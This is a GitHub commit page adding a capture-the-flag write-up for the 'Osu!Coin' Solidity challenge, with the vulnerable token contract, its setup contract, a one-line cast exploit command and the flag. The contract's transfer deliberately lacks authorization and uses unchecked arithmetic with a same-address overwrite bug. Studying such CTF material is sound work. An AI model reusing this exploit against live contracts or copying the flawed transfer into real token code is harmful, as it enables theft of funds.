Skip to content

Commit

Permalink
add writeup for Osu!Coin
Browse files Browse the repository at this point in the history
  • Loading branch information
minaminao committed Mar 4, 2024
1 parent 1c536d7 commit 2379daa
Show file tree
Hide file tree
Showing 3 changed files with 73 additions and 0 deletions.
10 changes: 10 additions & 0 deletions src/Osu!GamingCTF2024/Osu!Coin/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@

Run:
```
cast send $COIN_ADDR "transfer(address,address,uint256)" $SETUP_ADDR $SETUP_ADDR 1000000 --private-key $PRIVATE_KEY
```

Flag:
```
osu{u_just_solved_https://x.com/shoucccc/status/1762614966815998314}
```
46 changes: 46 additions & 0 deletions src/Osu!GamingCTF2024/Osu!Coin/attachment/OsuCoin.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
pragma solidity ^0.8.17;

contract OsuCoin {
struct Account {
uint128 balance;
uint32 context;
uint96 escaped;
}

address public constant _0 = address(0);

mapping(address => Account) public _accounts;

function balanceOf(address a) public view returns (uint128) {
return _accounts[a].balance;
}

function deposit() public payable {
_accounts[msg.sender].balance += uint128(msg.value);
}

function withdraw(uint256) public pure {
require(false, "You really think you could get USD from withdrawing osu!coin?");
}

function transfer(address from, address to, uint256 amount) public returns (uint160) {
uint128 n = uint128(amount);
unchecked {
Account memory a = _accounts[from];
Account memory b = _accounts[to];
a.balance -= n;
b.balance += n;
_accounts[to] = b;
_accounts[from] = a;
return 0;
}
}

receive() external payable {
deposit();
}

fallback() external payable {
deposit();
}
}
17 changes: 17 additions & 0 deletions src/Osu!GamingCTF2024/Osu!Coin/attachment/Setup.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
pragma solidity ^0.8.17;

import "./OsuCoin.sol";

contract Setup {
OsuCoin public immutable coin;

constructor() payable {
require(msg.value == 100 wei, "requires 100 wei");
coin = new OsuCoin();
coin.deposit{value: msg.value}();
}

function isSolved() public view returns (bool) {
return coin.balanceOf(address(this)) == 0;
}
}

0 comments on commit 2379daa

Please sign in to comment.